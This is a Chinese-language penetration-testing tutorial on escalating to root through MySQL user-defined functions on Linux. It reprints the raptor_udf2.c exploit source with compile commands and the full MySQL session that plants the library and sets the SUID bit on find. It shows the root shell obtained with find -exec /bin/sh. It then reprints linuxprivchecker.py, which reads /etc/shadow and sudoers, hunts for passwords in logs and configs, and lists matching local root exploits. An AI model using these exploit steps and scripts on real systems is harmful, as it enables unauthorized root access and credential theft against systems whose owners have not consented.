Linux-MySQL4.x/5.0 UDF提权
*要求:
1)一个低权限的简易shell
2)mysq版本为5.5.6到4.0之间且以root权限运行
3)有账号密码可以登录到mysql
1、获取全功能shell
一般在渗透测试中,有限获取到的shell,无论是webshell还是系统shell,都是一个建议shell,通常由/bin/sh这个文件提供,所以为了不影响后续操作,先执行一个模拟shell,由/bin/bash提供
python -c "import pty;pty.spawn('/bin/bash')"
这个shell通常是www-data权限,如下图所示
2、下载对应的udf并进行编译:https://www.exploit-db.com/exploits/1518
代码如下
/* * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $ * * raptor_udf2.c - dynamic library for do_system() MySQL UDF * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> * * This is an helper dynamic library for local privilege escalation through * MySQL run with root privileges (very bad idea!), slightly modified to work * with newer versions of the open-source database. Tested on MySQL 4.1.14. * * See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c * * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes * for the security vulnerabilities in the handling of User Defined Functions * (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further * details, please refer to: * * http://dev.mysql.com/doc/refman/5.0/en/udf-security.html * http://www.wisec.it/vulns.php?page=4 * http://www.wisec.it/vulns.php?page=5 * http://www.wisec.it/vulns.php?page=6 * * "UDFs should have at least one symbol defined in addition to the xxx symbol * that corresponds to the main xxx() function. These auxiliary symbols * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and * xxx_add() functions". -- User Defined Functions Security Precautions * * Usage: * $ id * uid=500(raptor) gid=500(raptor) groups=500(raptor) * $ gcc -g -c raptor_udf2.c * $ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc * $ mysql -u root -p * Enter password: * [...] * mysql> use mysql; * mysql> create table foo(line blob); * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so')); * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so'; * mysql> create function do_system returns integer soname 'raptor_udf2.so'; * mysql> select * from mysql.func; * +-----------+-----+----------------+----------+ * | name | ret | dl | type | * +-----------+-----+----------------+----------+ * | do_system | 2 | raptor_udf2.so | function | * +-----------+-----+----------------+----------+ * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out'); * mysql> \! sh * sh-2.05b$ cat /tmp/out * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) * [...] * * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys * */ #include <stdio.h> #include <stdlib.h> enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT}; typedef struct st_udf_args { unsigned int arg_count; // number of arguments enum Item_result *arg_type; // pointer to item_result char **args; // pointer to arguments unsigned long *lengths; // length of string args char *maybe_null; // 1 for maybe_null args } UDF_ARGS; typedef struct st_udf_init { char maybe_null; // 1 if func can return NULL unsigned int decimals; // for real functions unsigned long max_length; // for string functions char *ptr; // free ptr for func data char const_item; // 0 if result is constant } UDF_INIT; int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { if (args->arg_count != 1) return(0); system(args->args[0]); return(0); } char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { return(0); } // milw0rm.com [2006-02-20]
编译可以按照代码中的方法编译,也可以用一下命令直接编译,得到raptor_udf2.so文件,就是我们需要用的udf
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.c -lc
3、登录进入mysql,并引用编译好的udf,开始进行提权
mysql> use mysql; use mysql; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> create table foo(line blob); create table foo(line blob); Query OK, 0 rows affected (0.01 sec) mysql> insert into foo values(load_file('/tmp/raptor_udf2.so')); insert into foo values(load_file('/tmp/raptor_udf2.so')); Query OK, 1 row affected (0.00 sec) mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so'; select * from foo into dumpfile '/usr/lib/raptor_udf2.so'; Query OK, 1 row affected (0.00 sec) mysql> create function do_system returns integer soname 'raptor_udf2.so'; --代码中指示的是上面的位置,实际上不同版本的mysql,文件位置不同,所以这里会报错,并指出真实保存位置 create function do_system returns integer soname 'raptor_udf2.so'; ERROR 1126 (HY000): Can't open shared library 'raptor_udf2.so' (errno: 0 /usr/lib/mysql/plugin/raptor_udf2.so: cannot open shared object file: No such file or directory)--这一步指出了真实的udf文件存存放位置
*注:有些版本这里也有可能不爆出真实路径,可以直接用命令查询
MariaDB [mysql]> SHOW VARIABLES LIKE '%plugin%';
+-----------------+---------------------------------------------+
| Variable_name | Value |
+-----------------+---------------------------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
| plugin_maturity | gamma |
+-----------------+---------------------------------------------+
2 rows in set (0.001 sec)
mysql> create function do_system returns integer soname 'raptor_udf2.so'; --重新创建函数
Query OK, 0 rows affected (0.000 sec)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; --重新将udf导出到这个位置 <to dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; Query OK, 1 row affected (0.00 sec) mysql> select * from mysql.func; select * from mysql.func; Empty set (0.00 sec) mysql> select do_system('chmod u+s /usr/bin/find'); select do_system('chmod u+s /usr/bin/find'); ERROR 1305 (42000): FUNCTION mysql.do_system does not exist mysql> create function do_system returns integer soname 'raptor_udf2.so'; create function do_system returns integer soname 'raptor_udf2.so'; Query OK, 0 rows affected (0.00 sec) mysql> select do_system('chmod u+s /usr/bin/find'); select do_system('chmod u+s /usr/bin/find'); +--------------------------------------+ | do_system('chmod u+s /usr/bin/find') | +--------------------------------------+ | 0 | +--------------------------------------+ 1 row in set (0.00 sec) mysql> exit --退出mysql,并使用find进行提权
www-data@Raven:/tmp$ touch test touch test www-data@Raven:/tmp$ find test -exec "/bin/sh" \; *注:这里需要使用sh而不是bash,我尝试的时候用bash无法提权成功,且最后的 '\'不能少 find test -exec "/bin/sh" \; # id *注:这里使用id看还是www-data这个账户 id uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data) # whoami *注:用whoami看已经是root权限了,且前面的$已经变为了#,说明提权成功 whoami root
*注意:也可以使用代码中的方法进行提权,但我尝试的时候没有提权成功,这里参考了“https://www.360zhijia.com/anquan/433927.html”一文的提权方法
*一个linux提权辅助工具:wget https://www.securitysift.com/download/linuxprivchecker.py
代码如下:
#!/usr/env python ############################################################################################################### ## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script ## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift ##------------------------------------------------------------------------------------------------------------- ## [Details]: ## This script is intended to be executed locally on a Linux box to enumerate basic system info and ## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text ## passwords and applicable exploits. ##------------------------------------------------------------------------------------------------------------- ## [Warning]: ## This script comes as-is with no promise of functionality or accuracy. I have no plans to maintain updates, ## I did not write it to be efficient and in some cases you may find the functions may not produce the desired ## results. For example, the function that links packages to running processes is based on keywords and will ## not always be accurate. Also, the exploit list included in this function will need to be updated over time. ## Feel free to change or improve it any way you see fit. ##------------------------------------------------------------------------------------------------------------- ## [Modification, Distribution, and Attribution]: ## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original ## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's ## worth anything anyway :) ############################################################################################################### # conditional import for older versions of python not compatible with subprocess try: import subprocess as sub compatmode = 0 # newer version of python, no need for compatibility mode except ImportError: import os # older version of python, need to use os instead compatmode = 1 # title / formatting bigline = "=================================================================================================" smlline = "-------------------------------------------------------------------------------------------------" print bigline print "LINUX PRIVILEGE ESCALATION CHECKER" print bigline print # loop through dictionary, execute the commands, store the results, return updated dict def execCmd(cmdDict): for item in cmdDict: cmd = cmdDict[item]["cmd"] if compatmode == 0: # newer version of python, use preferred subprocess out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate() results = out.split('\n') else: # older version of python, use os.popen echo_stdout = os.popen(cmd, 'r') results = echo_stdout.read().split('\n') cmdDict[item]["results"]=results return cmdDict # print results for each previously executed command, no return value def printResults(cmdDict): for item in cmdDict: msg = cmdDict[item]["msg"] results = cmdDict[item]["results"] print "[+] " + msg for result in results: if result.strip() != "": print " " + result.strip() print return def writeResults(msg, results): f = open("privcheckout.txt", "a"); f.write("[+] " + str(len(results)-1) + " " + msg) for result in results: if result.strip() != "": f.write(" " + result.strip()) f.close() return # Basic system info print "[*] GETTING BASIC SYSTEM INFO...\n" results=[] sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System","results":results}, "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel","results":results}, "HOSTNAME":{"cmd":"hostname", "msg":"Hostname", "results":results} } sysInfo = execCmd(sysInfo) printResults(sysInfo) # Networking Info print "[*] GETTING NETWORKING INFO...\n" netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces", "results":results}, "ROUTE":{"cmd":"route", "msg":"Route", "results":results}, "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat", "results":results} } netInfo = execCmd(netInfo) printResults(netInfo) # File System Info print "[*] GETTING FILESYSTEM INFO...\n" driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results", "results":results}, "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries", "results":results} } driveInfo = execCmd(driveInfo) printResults(driveInfo) # Scheduled Cron Jobs cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs", "results":results}, "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs", "results":results} } cronInfo = execCmd(cronInfo) printResults(cronInfo) # User Info print "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n" userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", "results":results}, "ID":{"cmd":"id","msg":"Current User ID", "results":results}, "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", "results":results}, "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:", "results":results}, "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", "results":results}, "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", "results":results}, "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", "results":results}, "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity", "results":results} } userInfo = execCmd(userInfo) printResults(userInfo) if "root" in userInfo["ID"]["results"][0]: print "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n" # File/Directory Privs print "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n" fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", "results":results}, "WWDIRS":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", "results":results}, "WWFILES":{"cmd":"find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files", "results":results}, "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories", "results":results}, "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible", "results":results} } fdPerms = execCmd(fdPerms) printResults(fdPerms) pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'", "results":results}, "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'", "results":results}, "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)", "results":results} } pwdFiles = execCmd(pwdFiles) printResults(pwdFiles) # Processes and Applications print "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n" if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]: getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian else: getPkgs = "rpm -qa | sort -u" # RH/other getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes", "results":results}, "PKGS":{"cmd":getPkgs, "msg":"Installed Packages", "results":results} } getAppProc = execCmd(getAppProc) printResults(getAppProc) # comment to reduce output otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", "results":results}, "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules", "results":results}, "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File", "results":results} } otherApps = execCmd(otherApps) printResults(otherApps) print "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n" # find the package information for the processes currently running # under root or another super user procs = getAppProc["PROCS"]["results"] pkgs = getAppProc["PKGS"]["results"] supusers = userInfo["SUPUSERS"]["results"] procdict = {} # dictionary to hold the processes running as super users for proc in procs: # loop through each process relatedpkgs = [] # list to hold the packages related to a process try: for user in supusers: # loop through the known super users if (user != "") and (user in proc): # if the process is being run by a super user procname = proc.split(" ")[4] # grab the process name if "/" in procname: splitname = procname.split("/") procname = splitname[len(splitname)-1] for pkg in pkgs: # loop through the packages if not len(procname) < 3: # name too short to get reliable package results if procname in pkg: if procname in procdict: relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list if pkg not in relatedpkgs: relatedpkgs.append(pkg) # add pkg to the list procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry except: pass for key in procdict: print " " + key # print the process name try: if not procdict[key][0] == "": # only print the rest if related packages were found print " Possible Related Packages: " for entry in procdict[key]: print " " + entry # print each related package except: pass # EXPLOIT ENUMERATION # First discover the avaialable tools print print "[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n" devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", "results":results}} devTools = execCmd(devTools) printResults(devTools) print "[+] Related Shell Escape Sequences...\n" escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"], "perl":["perl -e 'exec \"/bin/bash\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], "nmap":["--interactive"]} for cmd in escapeCmd: for result in devTools["TOOLS"]["results"]: if cmd in result: for item in escapeCmd[cmd]: print " " + cmd + "-->\t" + item print print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n" # Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB) # sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os' sploits= { "2.2.x-2.4.x ptrace kmod local exploit":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"3", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "< 2.4.20 Module Loader Local Root Exploit":{"minver":"0", "maxver":"2.4.20", "exploitdb":"12", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4.22 "'do_brk()'" local Root Exploit (PoC)":{"minver":"2.4.22", "maxver":"2.4.22", "exploitdb":"129", "lang":"asm", "keywords":{"loc":["kernel"], "val":"kernel"}}, "<= 2.4.22 (do_brk) Local Root Exploit (working)":{"minver":"0", "maxver":"2.4.22", "exploitdb":"131", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4.x mremap() bound checking Root Exploit":{"minver":"2.4", "maxver":"2.4.99", "exploitdb":"145", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "<= 2.4.29-rc2 uselib() Privilege Elevation":{"minver":"0", "maxver":"2.4.29", "exploitdb":"744", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4 uselib() Privilege Elevation Exploit":{"minver":"2.4", "maxver":"2.4", "exploitdb":"778", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"895", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"926", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluez"}}, "<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)":{"minver":"0", "maxver":"2.6.11", "exploitdb":"1397", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit":{"minver":"0", "maxver":"99", "exploitdb":"1518", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"mysql"}}, "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2004", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2005", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2006", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2011", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, "<= 2.6.17.4 (proc) Local Root Exploit":{"minver":"0", "maxver":"2.6.17.4", "exploitdb":"2013", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2031", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit":{"minver":"4.10", "maxver":"7.04", "exploitdb":"3384", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, "Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit":{"minver":"2.4", "maxver":"2.6", "exploitdb":"4460", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "< 2.6.11.5 BLUETOOTH Stack Local Root Exploit":{"minver":"0", "maxver":"2.6.11.5", "exploitdb":"4756", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluetooth"}}, "2.6.17 - 2.6.24.1 vmsplice Local Root Exploit":{"minver":"2.6.17", "maxver":"2.6.24.1", "exploitdb":"5092", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6.23 - 2.6.24 vmsplice Local Root Exploit":{"minver":"2.6.23", "maxver":"2.6.24", "exploitdb":"5093", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, "Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit":{"minver":"0", "maxver":"99", "exploitdb":"5720", "lang":"python", "keywords":{"loc":["os"], "val":"debian"}}, "Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit":{"minver":"0", "maxver":"2.6.22", "exploitdb":"6851", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "< 2.6.29 exit_notify() Local Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.29", "exploitdb":"8369", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6 UDEV Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8478", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, "2.6 UDEV < 141 Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8572", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, "2.6.x ptrace_attach Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8673", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6.29 ptrace_attach() Local Root Race Condition Exploit":{"minver":"2.6.29", "maxver":"2.6.29", "exploitdb":"8678", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit":{"minver":"0", "maxver":"2.6.28.3", "exploitdb":"9083", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "Test Kernel Local Root Exploit 0day":{"minver":"2.6.18", "maxver":"2.6.30", "exploitdb":"9191", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)":{"minver":"2.6.9", "maxver":"2.6.30", "exploitdb":"9208", "lang":"c", "keywords":{"loc":["pkg"], "val":"pulse"}}, "2.x sock_sendpage() Local Ring0 Root Exploit":{"minver":"2", "maxver":"2.99", "exploitdb":"9435", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.x sock_sendpage() Local Root Exploit 2":{"minver":"2", "maxver":"2.99", "exploitdb":"9436", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9479", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit":{"minver":"2.6", "maxver":"2.6.19", "exploitdb":"9542", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4/2.6 sock_sendpage() Local Root Exploit (ppc)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9545", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9574", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "< 2.6.19 udp_sendmsg Local Root Exploit":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9575", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4/2.6 sock_sendpage() Local Root Exploit [2]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4/2.6 sock_sendpage() Local Root Exploit [3]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9641", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"9844", "lang":"python", "keywords":{"loc":["kernel"], "val":"kernel"}}, "'pipe.c' Local Privilege Escalation Vulnerability":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"10018", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6.18-20 2009 Local Root Exploit":{"minver":"2.6.18", "maxver":"2.6.20", "exploitdb":"10613", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "Apache Spamassassin Milter Plugin Remote Root Command Execution":{"minver":"0", "maxver":"99", "exploitdb":"11662", "lang":"sh", "keywords":{"loc":["proc"], "val":"spamass-milter"}}, "<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation":{"minver":"0", "maxver":"2.6.34", "exploitdb":"12130", "lang":"python", "keywords":{"loc":["mnt"], "val":"reiser"}}, "Ubuntu PAM MOTD local root":{"minver":"7", "maxver":"10.04", "exploitdb":"14339", "lang":"sh", "keywords":{"loc":["os"], "val":"ubuntu"}}, "< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36", "exploitdb":"14814", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "Kernel ia32syscall Emulation Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"15023", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "Linux RDS Protocol Local Privilege Escalation":{"minver":"0", "maxver":"2.6.36", "exploitdb":"15285", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "<= 2.6.37 Local Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15704", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "< 2.6.37-rc2 ACPI custom_method Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15774", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "CAP_SYS_ADMIN to root Exploit":{"minver":"0", "maxver":"99", "exploitdb":"15916", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)":{"minver":"0", "maxver":"99", "exploitdb":"15944", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "< 2.6.36.2 Econet Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36.2", "exploitdb":"17787", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "Sendpage Local Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"19933", "lang":"ruby", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability":{"minver":"2.4.18", "maxver":"2.4.19", "exploitdb":"21598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22362", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22363", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "Samba 2.2.8 Share Local Privilege Elevation Vulnerability":{"minver":"2.2.8", "maxver":"2.2.8", "exploitdb":"23674", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"samba"}}, "open-time Capability file_ns_capable() - Privilege Escalation Vulnerability":{"minver":"0", "maxver":"99", "exploitdb":"25307", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "open-time Capability file_ns_capable() Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"25450", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, } # variable declaration os = sysInfo["OS"]["results"][0] version = sysInfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0] langs = devTools["TOOLS"]["results"] procs = getAppProc["PROCS"]["results"] kernel = str(sysInfo["KERNEL"]["results"][0]) mount = driveInfo["MOUNT"]["results"] #pkgs = getAppProc["PKGS"]["results"] # currently not using packages for sploit appicability but my in future # lists to hold ranked, applicable sploits # note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks # all applicable exploits should be checked and this function could probably use some improvement avgprob = [] highprob = [] for sploit in sploits: lang = 0 # use to rank applicability of sploits keyword = sploits[sploit]["keywords"]["val"] sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit]["exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"] # first check for kernell applicability if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]): # next check language applicability if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))): lang = 1 # language found, increase applicability score elif sploits[sploit]["lang"] == "sh": lang = 1 # language found, increase applicability score elif (sploits[sploit]["lang"] in str(langs)): lang = 1 # language found, increase applicability score if lang == 0: sploitout = sploitout + "**" # added mark if language not detected on system # next check keyword matches to determine if some sploits have a higher probability of success for loc in sploits[sploit]["keywords"]["loc"]: if loc == "proc": for proc in procs: if keyword in proc: highprob.append(sploitout) # if sploit is associated with a running process consider it a higher probability/applicability break break elif loc == "os": if (keyword in os) or (keyword in kernel): highprob.append(sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability break elif loc == "mnt": if keyword in mount: highprob.append(sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability break else: avgprob.append(sploitout) # otherwise, consider average probability/applicability based only on kernel version print " Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!" print print " The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system" for exploit in highprob: print " - " + exploit print print " The following exploits are applicable to this kernel version and should be investigated as well" for exploit in avgprob: print " - " + exploit print print "Finished" print bigline
